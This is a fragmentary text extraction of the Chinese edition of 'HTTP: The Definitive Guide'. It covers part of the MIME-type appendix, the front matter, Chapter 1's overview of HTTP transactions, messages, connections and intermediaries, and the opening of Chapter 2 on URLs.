boris@virtue3d.com m o d e l / v n d . p a r a s o l i d . 二进制 Parasolid 建模文件 x_b http://www.ugsolutions. transmit.binary com/products/parasolid/ m o d e l / v n d . p a r a s o l i d . 文本 Parasolid 建模文件 x_t http://www.ugsolutions. transmit.text com/products/parasolid/ model/vnd.vtu Virtue 的 VTU 模型格式 vtu Boris Rabinovitch boris@virtue3d.com model/vrml 虚拟现实标记语言格式的文件 wrl、vrml RFC 2077 D.4.7 multipart/* MIME 类型 multipart 是包含有其他对象的组合对象。"},
    {"text": "表D-9 “Multipart”MIME类型 MIME类型 描 述 扩 展 联系方式及参考文献 multipart/ 内容包括一个可替换表达方式列表，每种 RFC 1341 alternative 方 式 都 有 自 己 的 Content-Type。"},
    {"text": "客 户 端可以选择其支持得最好的组件 multipart/ 苹 果 Macintosh 文件包含了“资源分支” http://www.isi.edu/in-notes/ appledouble 和其他用来描述实际文件内容的桌面数 iana/assignments/media- 据。"},
    {"text": "这个由多部分组成的内容在一个部分 types/multipart/appledouble 中发送 Apple 元数据，并在另一个部分中 发送实际内容 596 ｜ 附录 D （续） MIME类型 描 述 扩 展 联系方式及参考文献 multipart/ HTTP 报文中包含了多个范围的内容时， RFC 2068 byteranges 要 放 在 multipart/byteranges 对 象 中 传 输。 这个媒体类型包含由 MIME 边界分隔的 两 个 或 多 个 部 分， 每 个 部 分 都 有 自 己 的 Content-Type 和 Content-Range 字段 564 multipart/ 包含一组以易读形式表示的个人电子邮件 RFC 1341 digest 报文 multipart/ 用两个部分来支持密码加密的内容。"},
    {"text": "第二部分包含了 application/octet-stream 类型的加密数据 multipart/form- 根据用户填表的结果将一组值封装起来 RFC 2388 data multipart/ 从任意描述性元数据中将用户数据分离出来 http://www.isi.edu/in-notes/ header-set iana/assignments/media- types/multipart/header-set multipart/mixed 一组对象 RFC 1341 multipart/parallel 语法与 multipart/mixed 相同，但在能够使 RFC 1341 用它的系统中，要同时提供所有的部分 multipart/related 供包含了几个相互关联的主体部分的复 RFC 2387 合 对 象 使 用。"},
    {"text": "这 些 关 系 通常是由引用其他组件的对象组件内部 链接表示的 multipart/ 为各种类型的电子邮件报告定义了一种通 RFC 1892 report 用的容器类型 multipart/ 使用两个部分来支持经过密码签名的内 RFC 1847 signed 容。"},
    {"text": "第二部分包含了验证数字签名所需 的信息 multipart/ 提供了一种机制，可将声音报文封装到一 RFC 2421 和 RFC 2423 voice-message 个标记为 VPIM v2 兼容的容器中 MIME类型 ｜ 597 D.4.8 text/* 565 Text 媒体类型包含了字符和潜在的格式化信息。"},
    {"text": "表D-10 “Text”MIME类型 MIME类型 描 述 扩 展 联系方式和参考文献 text/calendar 支持 iCalendar 日历和日程标准 RFC 2445 text/css 层级样式表 css RFC 2318 text/directory 装 载 LDAP 这样的目录数据库中的记 RFC 2425 录数据 text/enriched 简单的格式化文本，支持字体、颜色和 RFC 1896 间 距 方 式。"},
    {"text": "使 用 类 SGML 的标记来开 始或结束格式化工作 text/html HTML 文件 html、htm RFC 2854 text/parityfec RTP 流中文本流的前向纠错码 RFC 3009 text/plain 普通的文本 asc、txt text/prs.lines.tag 支持用于电子邮件注册的标记表格 tag、dsc John Lines john@paladin.demon.co.uk http://www.paladin.demon. co.uk/tag-types/ text/rfc822-headers 就像邮件发送失败报告那样，用来绑定 RFC 1892 一组电子邮件首部 text/richtext 富文本的较老形式。"},
    {"text": "参见 text/enriched rtx RFC 1341 text/rtf RTF（Rich Text Format， 富 文 本 格 式 ） rtf 是一种在应用程序之间的传输所使用的， 对格式化文本和图片的编码方式。"},
    {"text": "这种 格 式 得 到 了 MS-DOS、Windows、OS/2 和 Macintosh 平台上各种字处理程序的 广泛支持 text/sgml SGML 标记文件 sgml、sgm RFC 1874 text/t140 支 持 同 步 RTP 多 媒 体 中 使 用 的 标 准 RFC 2793 T.140 文本 text/tab-separated- TSV 是在数据库和电子表格以及文字 tsv http://www.isi.edu/in- values 处理软件之间进行数据交换的通用方 notes/iana/assignments/ 法。"},
    {"text": "它由很多行构成，每行都有一些由 m e d i a - t y p e s / t e x t / t a b - tab 字符分隔的字段 separated-values text/uri-list URN 解 析 程 序 和 所 有 需 要 进 行 大 量 uris、uri RFC 2483 URI 列表通信的其他应用程序使用的简 566 单的、经过注释的 URL 和 URN 列表 598 ｜ 附录 D （续） MIME类型 描 述 扩 展 联系方式和参考文献 text/vnd.abc ABC 文件是乐谱的可读格式 abc http://www.gre.ac.uk/~c. walshaw/abc/ http://home1.swipnet. se/~w-11382/abcbnf.htm text/vnd.curl 提 供 了 一 组 由 CURL 运行时插件解释 curl Tim Hodge 的内容定义语言 thodge@curl.com text/vnd. Dream Seeker 客户端应用程序会访问一 dms Dan Bradley DMClientScript 些 非 HTTP 站 点（ 比 如 BYOND、IRC dan@dantom.com 或 telnet），CommonDM Client Script http://www.byond.com/ 文件被当作指向这些站点的超链接使用 code/ref/ text/vnd.fly Fly 是个文本预处理器，它会用简单的 fly John-Mark Gurney 语法来创建数据库和 Web 页面之间的 jmg@flyidea.com 接口 http://www.flyidea.com text/vnd.fmi. 用于 SUVDAMA 和 UVRAPPF 项目 flx http://www.ozone.fmi.fi/ flexstor SUVDAMA/ http://www.ozone.fmi.fi/ UVRAPPF/ text/vnd.in3d.3dml 用于 In3D 播放器 3dml、3dm Michael Powers powers@insideout.net text/vnd.in3d.spot 用于 In3D 播放器 spot、spo 同上 text/vnd.IPTC. IPTC 国际新闻电信委员会指定的 xml David Allen NewsML NewsML 格式 m_director_iptc@dial. pipex.com http://www.iptc.org text/vnd.IPTC.NITF IPTC 指定的 NITF 格式 xml 同上 http://www.nitf.org text/vnd.latex-z 支 持 包 含 Z 表 示 法 的 LaTeX 文 档。"},
    {"text": "Z http://www.comlab.ox.ac. 表示法（读作“zed”）是基于 Zermelo- uk/archive/z/ Fraenkel 集合论和一阶谓词逻辑的，有 助于描述计算机系统 text/vnd.motorola. 提 供 了 一 种 从 ReFLEX ™ 无 线 设 备 提 Mark Patton reflex 交简单文本的通用的方式 fmp014@email.mot.com 有 许 可 协 议 的 情 况 下， 可 以 从 摩 托 罗 拉 得 到"},
    {"text": "图 灵 程 序 设 计 丛 书 HTTP权威指南 HTTP: The Definitive Guide [美] David Gourley Brian Totty Marjorie Sayer Sailu Reddy Anshu Aggarwal 著 陈涓 赵振平 译 Beijing • Cambridge • Farnham • Köln • Sebastopol • Tokyo O’Reilly Media, Inc.授权人民邮电出版社出版 人 民 邮 电 出 版 社 北 京 （2012.10重印） 内 容 提 要 本书是 HTTP 及其相关核心 Web 技术方面的权威著作，主要介绍了 Web 应用程序是如何 工作的，核心的因特网协议如何与架构构建块交互，如何正确实现因特网客户端和服务器等。"},
    {"text": "图灵程序设计丛书 HTTP权威指南 ◆ 著 [美] David Gourley Brian Totty Marjorie Sayer Sailu Reddy Anshu Aggarwal 译 陈 涓 赵振平 责任编辑 李 盼 执行编辑 丁晓昀 ◆ 人民邮电出版社出版发行 北京市崇文区夕照寺街14号 邮编 100061 电子邮件 315@ptpress.com.cn 网址 http://www.ptpress.com.cn 北京 印刷 ◆ 开本：800×1000 1/16 印张：45 字数：1067千字 2012年 10 月第 1 版 印数：5 — 8 000册 2012年 10 月北京第 2 次印刷 著作权合同登记号 图字：01-2011-1852号 ISBN 978-7-115-28148-7 定价：109.00元 读者服务热线： (010)51095186 转 604 印装质量热线： (010)67129223 反盗版热线： (010)67171154 版权声明 ©2002 by O’Reilly Media, Inc. Simplified Chinese Edition, jointly published by O’Reilly Media, Inc. and Posts & Telecom Press, 2012. Authorized translation of the English edition, 2012 O’Reilly Media, Inc., the owner of all rights to publish and sell the same. All rights reserved including the rights of reproduction in whole or in part in any form. 英文原版由 O’Reilly Media, Inc. 出版 2002。"},
    {"text": "” ——Irish Times “Tim 是位特立独行的商人，他不光放眼于最长远、最广阔的视野并且切实地按照 Yogi Berra 的建议去做了： ‘如果你在路上遇到岔路口，走小路（岔路）。"},
    {"text": "① HTTP 译为“超文本传输协议”，其中“transfer”使用了“传输”的含义，但依据 HTTP 制定者之一 Roy Fielding 博士的论文，“transfer”表示的是“（状态的）转移”，而不是“传输”。"},
    {"text": "1 本书澄清了一些常见的误解，推荐了“各种业内诀窍”，提供了便捷的参考资料，并 且用通俗易懂的语言阐述了枯燥且令人费解的标准规范，还详细探讨了 Web 正常工 作所必需且互相关联的技术。"},
    {"text": "本书内容 本书包含 21 章，分为 5 个逻辑部分（每部分都是一个技术专题），以及 8 个很有用 的附录，这些附录包含了参考资料，以及对相关技术的介绍。"},
    {"text": "第一部分 HTTP：Web 的基础 第二部分 HTTP 结构 第三部分 识别、认证与安全 第四部分 实体、编码和国际化 第五部分 内容发布与分发 第六部分 附录 第一部分用 4 章的篇幅描述了 Web 的基础构件与 HTTP 的核心技术。"},
    {"text": "• 第 2 章详细阐述了统一资源定位符（Uniform Resource Locator，URL）的格式， 以及 URL 在因特网上命名的各种类型的资源，还介绍了统一资源名（Uniform Resource Name，URN）的演变过程。"},
    {"text": "• 第 19 章探讨了一些创建 Web 内容，并将其装载到 Web 服务器中去的技术。 • 第 20 章介绍了能够将输入 Web 流量分散到一组服务器上去的一些工具和技术。"},
    {"text": "意见及问题 请将有关此书的意见及问题发给出版商： 美国： O’Reilly Media, Inc. 1005 Gravenstein Highway North Sebastopol, CA 95472 中国： 北京市西城区西直门南大街 2 号成铭大厦 C 座 807 室（100035） 奥莱利技术咨询（北京）有限公司 本书有一个 Web 页面，上面列出了勘误表、一些实例以及所有的附加信息。"},
    {"text": "4 ｜ 前言 http://www.oreilly.com/catalog/httptdg/ 为本书提意见或者询问一些技术性问题，可以向以下地址发送邮件。 bookquestions@oreilly.com 更多与书籍、会议、资源中心以及 O’Reilly 网络有关的问题，都请参见 O’Reilly 的网站。"},
    {"text": "Linda 还帮助我们这帮首次写书、徘徊不定的人协调一致地按计划逐步完成了 这本书的写作（尽管我们完成得并不怎么快）。 最重要的是，Linda 给了我们一个创 作此书的机会。"},
    {"text": "他 们 是：Tony Bourke、Sean Burke、Mike Chowla、 Shernaz Daver、Fred Douglis、Paula Ferguson、Vikas Jha、Yves Lafon、Peter Mattis、Chuck Neerdaels、Luis Tavera、Duane Wessels、Dave Wu 和 Marco Zagha。"},
    {"text": "其间虽然出现了婚礼、孩子出世、刻不 容缓的工作项目、创业公司起步以及就读研究生院等诸多问题，但作者们的共同努 力使这个项目得以圆满完成。"},
    {"text": "最后，作者们要集体感谢各位著名和无名的因特网先驱们，他们在过去 40 年中所做 的研究、开发和传播工作对我们的科学界、社会及经济团体作出了巨大的贡献。"},
    {"text": "第1章 HTTP 概述 3 Web 浏览器、服务器和相关的 Web 应用程序都是通过 HTTP 相互通信的。 HTTP 是 现代全球因特网中使用的公共语言。 本章是对 HTTP 的简要介绍。 在本章中可以看到 Web 应用程序是如何使用 HTTP 进 行通信的，这样就可以对 HTTP 如何完成其工作有个大概印象。"},
    {"text": "1.1 HTTP——因特网的多媒体信使 每天，都有数以亿万计的 JPEG 图片、HTML 页面、文本文件、MPEG 电影、WAV 音频文件、Java 小程序和其他资源在因特网上游弋。"},
    {"text": "HTTP 可以从遍布全世界的 Web 服务器上将这些信息块迅速、便捷、可靠地搬移到人们桌面上的 Web 浏览器 上去。 HTTP 使用的是可靠的数据传输协议，因此即使数据来自地球的另一端，它也能够 确保数据在传输的过程中不会被损坏或产生混乱。"},
    {"text": "1.2 Web客户端和服务器 Web 内容都是存储在 Web 服务器上的。 Web 服务器所使用的是 HTTP 协议，因 此经常会被称为 HTTP 服务器。 这些 HTTP 服务器存储了因特网中的数据，如果 4 ｜ 第 1 章 HTTP 客户端发出请求的话，它们会提供数据。 客户端向服务器发送 HTTP 请求， 服务器会在 HTTP 响应中回送所请求的数据，如图 1-1 所示。 HTTP 客户端和 HTTP 服务器共同构成了万维网的基本组件。"},
    {"text": "Web 浏览器向服务器请求 HTTP 对象，并将 这些对象显示在你的屏幕上。 浏 览 一 个 页 面 时（ 比 如 http://www.oreilly.com/index.html）， 浏 览 器 会 向 服 务 器 www.oreilly.com 发送一条 HTTP 请求（参见图 1-1）。 服务器会去寻找所期望的对 象（在这个例子中就是 /index.html），如果成功，就将对象、对象类型、对象长度以 及其他一些信息放在 HTTP 响应中发送给客户端。"},
    {"text": "但资源不一定非得是静态文件。 资源还可以是根据需要生成内容的软件程序。 这些 动态内容资源可以根据你的身份、所请求的信息或每天的不同时段来产生内容。"},
    {"text": "HTTP概述 ｜ 5 文件系统 资源 图片文件 文本文件 因特网 网络摄像机网关 客户端 服务器 股票交易网关 房产搜索网关 11000101101 电子商务网关 图 1-2 所有能够提供 Web 内容的东西都是 Web 资源 总之，所有类型的内容来源都是资源。"},
    {"text": "1.3.1 媒体类型 因 特 网 上 有 数 千 种 不 同 的 数 据 类 型，HTTP 仔 细 地 给 每 种 要 通 过 Web 传 输 的 对 象 都 打 上 了 名 为 MIME 类 型（MIME type） 的 数 据 格 式 标 签。"},
    {"text": "Web 服务器会为所有 HTTP 对象数据附加一个 MIME 类型（参见图 1-3）。 当 Web 浏览器从服务器中取回一个对象时，会去查看相关的 MIME 类型，看看它是否知道 应该如何处理这个对象。"},
    {"text": "大多数浏览器都可以处理数百种常见的对象类型：显示图 片文件、解析并格式化 HTML 文件、通过计算机声卡播放音频文件，或者运行外部 5 插件软件来处理特殊格式的数据。"},
    {"text": "6 ｜ 第 1 章 MIME类型 Content-type: image/jpeg Content-length: 12984 客户端 服务器 图 1-3 与数据内容一同回送的 MIME 类型 MIME 类型是一种文本标记，表示一种主要的对象类型和一个特定的子类型，中间 由一条斜杠来分隔。"},
    {"text": "1.3.2 URI 每个 Web 服务器资源都有一个名字，这样客户端就可以说明它们感兴趣的资源是 什么了。 服务器资源名被称为统一资源标识符（Uniform Resource Identifier，URI）。"},
    {"text": "这是 Joe 的五金商店的 Web 服务器上一个图片资源的 URI： http://www.joes-hardware.com/specials/saw-blade.gif 图 1-4 显示了 URI 是怎样指示 HTTP 协议去访问 Joe 商店服务器上的图片资源的。"},
    {"text": "1 2 3 使用HTTP协议 进入www.joes-hardware.com 获取名为/specials/saw-blade.gif的资源 http://www.joes-hardware.com/specials/saw-blade.gif Content-type: image/gif Content-length: 8572 客户端 www.joes-hardware.com 图 1-4 URL 说明了协议、服务器和本地资源 表1-1 URL实例 URL 描 述 http://www.oreilly.com/index.html O’Reilly & Associates 公司的主 URL http://www.yahoo.com/images/logo.gif Yahoo! 的 Web 站点标志 URL http://www.joes-hardware.com/inventory-check. 一个查看库存条目 #12731 是否有现货的程序的 cgi?item=12731 URL ftp://joe:tools4u@ftp.joes-hardware.com/locking- 以 密 码 保 护 的 FTP 作 为 访 问 协 议 的 locking- pliers.gif pliers.gif 图片文件的 URL 大部分 URL 都遵循一种标准格式，这种格式包含三个部分。"},
    {"text": "8 ｜ 第 1 章 比如，不论因特网标准文档 RFC 2141 位于何处（甚至可以将其复制到多个地方）， 都可以用下列 URN 来命名它： 7 urn:ietf:rfc:2141 URN 仍然处于试验阶段，还未大范围使用。"},
    {"text": "1.4 事务 我们来更仔细地看看客户端是怎样通过 HTTP 与 Web 服务器及其资源进行事务处理 的。 一个 HTTP 事务由一条（从客户端发往服务器的）请求命令和一个（从服务器 发回客户端的）响应结果组成。"},
    {"text": "包含命令和URI的HTTP请求报文 GET /specials/saw-blade.gif HTTP/1.0 Host: www.joes-hardware.com 因特网 客户端 HTTP/1.0 200 OK www.joes-hardware.com Content-type: image/gif Content-length: 8572 包含事务结果的HTTP响应报文 图 1-5 包含请求及响应报文的 HTTP 事务 1.4.1 方法 HTTP 支持几种不同的请求命令，这些命令被称为 HTTP 方法（HTTP method）。"},
    {"text": "HTTP概述 ｜ 9 表1-2 一些常见的HTTP方法 HTTP方法 描 述 GET 从服务器向客户端发送命名资源 8 PUT 将来自客户端的数据存储到一个命名的服务器资源中去 DELETE 从服务器中删除命名资源 POST 将客户端数据发送到一个服务器网关应用程序 HEAD 仅发送命名资源响应中的 HTTP 首部 我们会在第 3 章详细讨论 HTTP 方法。"},
    {"text": "1.4.3 Web页面中可以包含多个对象 应用程序完成一项任务时通常会发布多个 HTTP 事务。 比如，Web 浏览器会发布一 系列 HTTP 事务来获取并显示一个包含了丰富图片的 Web 页面。 浏览器会执行一个 事务来获取描述页面布局的 HTML“框架”，然后发布另外的 HTTP 事务来获取每 个嵌入式图片、图像面板、Java 小程序等。"},
    {"text": "9 因特网 服务器1 服务器2 客户端 图 1-6 复合 Web 页面要为每个嵌入式资源使用一个单独的 HTTP 事务 1.5 报文 现在我们来快速浏览一下 HTTP 请求和响应报文的结构。"},
    {"text": "(a) 请求报文 (b) 响应报文 GET /test/hi-there.txt HTTP/1.0 起始行 HTTP/1.0 200 OK Accept: text/* Content-type: text/plain 首部 Accept-Language: en,fr Content-length: 19 主体 Hi! I’m a message! 图 1-7 由一行行的简单文本结构组成的 HTTP 报文 注 1： 有些程序员会抱怨 HTTP 的语法解析太困难了，这项工作需要很多技巧，而且很容易出错，尤其是在 设计高速软件的时候更是如此。"},
    {"text": "HTTP概述 ｜ 11 从 Web 客户端发往 Web 服务器的 HTTP 报文称为请求报文（request message）。 从 服务器发往客户端的报文称为响应报文（response message），此外没有其他类型的 10 HTTP 报文。"},
    {"text": "这条响应中包含了 HTTP 的版本号（HTTP/1.0）、 一 个 成 功 状 态 码（200）、 一 个 描 述 性 的 原 因 短 语（OK）， 以 及 一 块 响 应 首 部 字 段，在所有这些内容之后跟着包含了所请求文档的响应主体。"},
    {"text": "12 ｜ 第 1 章 （a）请求报文 请求起始行（命令） GET /tools.html HTTP/1.0 User-agent: Mozilla/4.75 [en] (Win98; U) Host: www.joes-hardware.com 请求首部 Accept: text/html, image/gif, image/jpeg Accept-language: en 没有请求主体 客户端 www.joes-hardware.com （b）响应报文 响应起始行 HTTP/1.0 200 OK Date: Sun, o1 Oct 2000 23:25:17 GMT （状态） Server: Apache/1.3.11 BSafe-SSL/1.38 (Unix) 响应首部 Last-modified: Tue, 04 Jul 2000 09:46:21 GMT Content-length: 403 Content-type: text/html <HTML> <HEAD><TITLE>Joe’s Tools</TITLE></HEAD> <BODY> <H1>Tools Page</H1> <H2>Hammers</H2> <P>Joe’s Hardware Online has the largest selection of hammers on the earth.</P> 响应主体 <H2><A NAME=drills></A>Drills</H2> <P>Joe’s Hardware has a complete line of cordless and corded drills, as well as the latest in plutonium-powered atomic drills, for those big around the house jobs.</P>... </BODY> </HTML> 图 1-8 http://www.joes-hardware.com/tools.html 的 GET 事务实例 1.6 连接 概要介绍了 HTTP 报文的构成之后，我们来讨论一下报文是如何通过传输控制协议 （Transmission Control Protocol，TCP）连接从一个地方搬移到另一个地方去的。"},
    {"text": "因特网自身就是基于 TCP/IP 的，TCP/IP 是全世界的计算机和网络设备常用的层次 化分组交换网络协议集。 TCP/IP 隐藏了各种网络和硬件的特点及弱点，使各种类型 的计算机和网络都能够进行可靠地通信。 只要建立了 TCP 连接，客户端和服务器之间的报文交换就不会丢失、不会被破坏， 也不会在接收时出现错序了。"},
    {"text": "HTTP 应用层 TCP 传输层 IP 网络层 网络特有的链路接口 数据链路层 物理网络硬件 物理层 图 1-9 HTTP 网络协议栈 1.6.2 连接、IP地址及端口号 在 HTTP 客户端向服务器发送报文之前，需要用网际协议（Internet Protocol，IP） 地址和端口号在客户端和服务器之间建立一条 TCP/IP 连接。"},
    {"text": "我们来看几个 URL： 14 ｜ 第 1 章 http://207.200.83.29:80/index.html http://www.netscape.com:80/index.html http://www.netscape.com/index.html 第一个 URL 使用了机器的 IP 地址，207.200.83.29 以及端口号 80。"},
    {"text": "主机名就是 IP 地址比较人性化的别称。 可以通过一 种称为域名服务（Domain Name Service，DNS）的机制方便地将主机名转换为 IP 地址，这样所有问题就都解决了。"},
    {"text": "13 用户输入URL （c）获取端口号（80） （d）连接到161.58.228.45的端口80 http://www.joes-hardware.com:80/tools.html 因特网 （a）获取主机名 客户端 服务器 www.joes-hardware.com （e）发送一条HTTP GET请求 （b）DNS 因特网 客户端 服务器 （f）从服务器读取HTTP响应 因特网 客户端 服务器 （g）关闭连接 Screen shot needed 因特网 客户端 服务器 浏览器显示页面 图 1-10 基本的浏览器连接处理 14 HTTP概述 ｜ 15 步骤如下： (a) 浏览器从 URL 中解析出服务器的主机名；"},
    {"text": "(b) 浏览器将服务器的主机名转换成服务器的 IP 地址； (c) 浏览器将端口号（如果有的话）从 URL 中解析出来； (d) 浏览器建立一条与 Web 服务器的 TCP 连接； (e) 浏览器向服务器发送一条 HTTP 请求报文； (f) 服务器向浏览器回送一条 HTTP 响应报文；"},
    {"text": "1.6.3 一个使用Telnet的实例 由于 HTTP 使用了 TCP/IP 传输协议，而且它是基于文本的，没有使用那些难以理 解的二进制格式，因此很容易直接与 Web 服务器进行对话。"},
    {"text": "Telnet 程序可以将键盘连接到某个目标 TCP 端口，并将此 TCP 端口的输出回送到 显示屏上。 Telnet 常用于远程终端会话，但它几乎可以连接所有的 TCP 服务器，包 括 HTTP 服务器。 可以通过 Telnet 程序直接与 Web 服务器进行对话。 通过 Telnet 可以打开一条到 某台机器上某个端口的 TCP 连接，然后直接向那个端口输入一些字符。 Web 服务 器会将 Telnet 程序作为一个 Web 客户端来处理，所有回送给 TCP 连接的数据都 会显示在屏幕上。 我 们 用 Telnet 与 一 个 实 际 的 Web 服 务 器 进 行 交 互。"},
    {"text": "16 ｜ 第 1 章 例 1-1 一个使用 Telnet 的 HTTP 事务 % telnet www.joes-hardware.com 80 Trying 161.58.228.45... Connected to joes-hardware.com. Escape character is '^]'. GET /tools.html HTTP/1.1 Host: www.joes-hardware.com HTTP/1.1 200 OK Date: Sun, 01 Oct 2000 23:25:17 GMT Server: Apache/1.3.11 BSafe-SSL/1.38 (Unix) FrontPage/4.0.4.3 Last-Modified: Tue, 04 Jul 2000 09:46:21 GMT ETag: \"373979-193-3961b26d\" Accept-Ranges: bytes Content-Length: 403 Connection: close Content-Type: text/html 15 <HTML> <HEAD><TITLE>Joe's Tools</TITLE></HEAD> <BODY> <H1>Tools Page</H1> <H2>Hammers</H2> <P>Joe's Hardware Online has the largest selection of hammers on the earth.</P> <H2><A NAME=drills></A>Drills</H2> <P>Joe's Hardware has a complete line of cordless and corded drills, as well as the latest in plutonium-powered atomic drills, for those big around the house jobs.</P> ... </BODY> </HTML> Connection closed by foreign host. Telnet 会查找主机名并打开一条连接，连接到在 www.joes-hardware.com 的端口 80 上监听的 Web 服务器。"},
    {"text": "然后我们输入最基本的请求命令 GET/tools.html HTTP/1.1，发送一个提供了源 端主机名的 Host 首部，后面跟上一个空行，请求从服务器 www.joes-hardware.com 上获取资源 tools.html。"},
    {"text": "• HTTP/1.0 1.0 是第一个得到广泛使用的 HTTP 版本。 HTTP/1.0 添加了版本号、各种 HTTP 首部、一些额外的方法，以及对多媒体对象的处理。 HTTP/1.0 使得包含生动图 16 片的 Web 页面和交互式表格成为可能，而这些页面和表格促使万维网为人们广 泛地接受。"},
    {"text": "• HTTP/1.0+ 在 20 世纪 90 年代中叶，很多流行的 Web 客户端和服务器都在飞快地向 HTTP 中添加各种特性，以满足快速扩张且在商业上十分成功的万维网的需要。"},
    {"text": "• HTTP-NG（又名 HTTP/2.0） HTTP-NG 是 HTTP/1.1 后继结构的原型建议，它重点关注的是性能的大幅优化， 以及更强大的服务逻辑远程执行框架。"},
    {"text": "18 ｜ 第 1 章 1.8 Web的结构组件 在本章的概述中，我们重点介绍了两个 Web 应用程序（Web 浏览器和 Web 服务器） 是如何相互发送报文来实现基本事务处理的。"},
    {"text": "17 1.8.1 代理 首先我们来看看 HTTP 代理服务器，这是 Web 安全、应用集成以及性能优化的重要 组成模块。 如图 1-11 所示，代理位于客户端和服务器之间，接收所有客户端的 HTTP 请求，并 将这些请求转发给服务器（可能会对请求进行修改之后转发）。 对用户来说，这些应 用程序就是一个代理，代表用户访问服务器。 因特网 客户端 代理 服务器 图 1-11 在客户端和服务器之间转发流量的代理 出于安全考虑，通常会将代理作为转发所有 Web 流量的可信任中间节点使用。"},
    {"text": "因特网 客户端 服务器 代理缓存 客户端 18 图 1-12 保存常用文档本地副本以提高性能的代理缓存 客户端从附近的缓存下载文档会比从远程 Web 服务器下载快得多。"},
    {"text": "HTTP FTP HTTP客户端 HTTP/FTP网关 FTP服务器 图 1-13 HTTP/FTP 网关 20 ｜ 第 1 章 1.8.4 隧道 隧道（tunnel）是建立起来之后，就会在两条连接之间对原始数据进行盲转发的 HTTP 应用程序。 HTTP 隧道通常用来在一条或多条 HTTP 连接上转发非 HTTP 数 据，转发时不会窥探数据。 HTTP 隧 道 的 一 种 常 见 用 途 是 通 过 HTTP 连 接 承 载 加 密 的 安 全 套 接 字 层（SSL， Secure Sockets Layer）流量，这样 SSL 流量就可以穿过只允许 Web 流量通过的防 火墙了。 如图 1-14 所示，HTTP/SSL 隧道收到一条 HTTP 请求，要求建立一条到目 的地址和端口的输出连接，然后在 HTTP 信道上通过隧道传输加密的 SSL 流量，这 样就可以将其盲转发到目的服务器上去了。 客户端 端口443 SSL SSL SSL 连接 SSL 隧道起点 隧道终点 服务器 端口80 HTTP SSL HTTP 连接 HTTP SSL 图 1-14 隧道可以在非 HTTP 网络上转发数据（显示的是 HTTP/SSL 隧道） 1.8.5 Agent代理 用户 Agent 代理（或者简称为 Agent 代理）是代表用户发起 HTTP 请求的客户端程 序。"},
    {"text": "HTTP概述 ｜ 21 Web服务器 Web服务器 Web服务器 搜索引擎“网络蜘蛛” 搜索引擎 数据库 20 图 1-15 自动搜索引擎“网络蜘蛛”就是 Agent 代理，可以从世界范围内获取 Web 页面 1.9 起始部分的结束语 这就是我们对 HTTP 的简要介绍。"},
    {"text": "概要说明了 HTTP 是怎样使用 URI 来命名远程服务器上的多媒体资源 的，粗略介绍了如何利用 HTTP 请求和响应报文操纵远程服务器上的多媒体资源， 最后考察了几种使用 HTTP 的 Web 应用程序。"},
    {"text": "本书的其余章节会更加详细地介绍 HTTP 协议、应用程序及资源的技术机制。 1.10 更多信息 本书稍后的章节将更深入地研究 HTTP，下面这些资源中也包含了与本章所涵盖的 特定主题有关的背景知识。 1.10.1 HTTP协议信息 • HTTP Pocket Reference （《HTTP 口袋书》） Clinton Wong 著，O’Reilly & Associates 出版公司。 这本书详细介绍了 HTTP， 可以作为构成 HTTP 事务的首部和状态码的快速参考手册。"},
    {"text": "这个规范是一本编写流畅、组织良好而且非常详细的 HTTP 参考手册，但 并不适于那些希望了解 HTTP 底层概念和动因，或者原理与实际应用之间区别的读 者阅读。"},
    {"text": "它对编写此规范时，已得到官方认可且具有“最佳实践”的 Web 应用 程序行为进行了详细描述，还讨论了一些虽被 HTTP/1.1 所摒弃，但在一些老旧 的应用程序中仍在广泛使用的行为。"},
    {"text": "• http://www.w3.org/Protocols/HTTP/AsImplemented.html 这个 Web 页面介绍了 1991 年的 HTTP/0.9 协议，这个协议只实现了 GET 请求， 而且不包含内容类型。 21 1.10.2 历史透视 • http://www.w3.org/Protocols/WhyHTTP.html 这个简要的 Web 页面从 1991 年开始，从 HTTP 作者的角度，介绍了 HTTP 的一 些起源以及初级目标。 • http://www.w3.org/History.html “A Little History of the World Wide Web”（ 万 维 网 的 简 要 历 史 ） 对 万 维 网 和 HTTP 的一些早期目标和构建基础进行了简短但有趣的剖析。 • http://www.w3.org/DesignIssues/Architecture.html “Web Architecture from 50,000 feet”（高空俯瞰 Web 结构）绘制了一幅广阔、远 大的万维网蓝图，并详述了影响 HTTP 和相关 Web 技术的设计原则。 1.10.3 其他万维网信息 • http://www.w3.org W3C 是 Web 的科技驱动团队。 W3C 致力于促进 Web 演化的互操作性技术（规 范、准则、软件及工具）研究。 W3C 站点是一个包含了 Web 技术简介和详细文 档的宝库。"},
    {"text": "HTTP概述 ｜ 23 • http://www.ietf.org/rfc/rfc2396.txt RFC 2396“Uniform Resource Identifiers（URI）：Generic Syntax”，（“统一资源 标识符（URI）：通用语法”）是 URI 和 URL 的详细参考。 • http://www.ieft.ofg/rfc/rfc2141.txt RFC2141“URN Syntax”（“URN 的语法”）是一个写于 1997 年的描述 URN 语 法的规范。"},
    {"text": "• http://www.ietf.org/rfc/rfc2046.txt RFC2046“MIME Part 2：Media Types”（“MIME 第 II 部分：媒体类型”）是为 进行多媒体内容管理而定义的多用途因特网邮件扩展标准的五部因特网规范中的 第二部。"},
    {"text": "• http://www.wrec.org/Drafts/draft-ietf-wrec-taxonomy-06.txt 这 个 因 特 网 草 案“Internet Web Replication and Caching Taxonomy”（“ 因 特 网 22 Web 复制和缓存分类法”）解释了 Web 结构组件中的标准术语。"},
    {"text": "2.1 浏览因特网资源 URL 是浏览器寻找信息时所需的资源位置。 通过 URL，人类和应用程序才能找到、 使用并共享因特网上大量的数据资源。 URL 是人们对 HTTP 和其他协议的常用访问 点：一个人将浏览器指向一个 URL，浏览器就会在幕后发送适当的协议报文来获取 人们所期望的资源。"},
    {"text": "URI 是一类更通用的资源标识符，URL 实际上是它的一个子集。 URI 是一个通用的 概念，由两个主要的子集 URL 和 URN 构成，URL 是通过描述资源的位置来标识资 源的，而 URN（本章稍后会介绍）则是通过名字来识别资源的，与它们当前所处位 置无关。 HTTP 规范将更通用的概念 URI 作为其资源标识符，但实际上，HTTP 应用程序处 理的只是 URI 的 URL 子集。"},
    {"text": "http://www.joes-hardware.com/seasonal/index-fall.html 方案 主机 路径 （怎样做） （位于何处） （哪个资源） Web页面 l index-fall.htm 客户端 服务器 磁盘 图 2-1 URL 是怎样与浏览器、客户端、服务器以及服务器文件系统中的位置进行关联的 URL 可以通过 HTTP 之外的其他协议来访问资源。"},
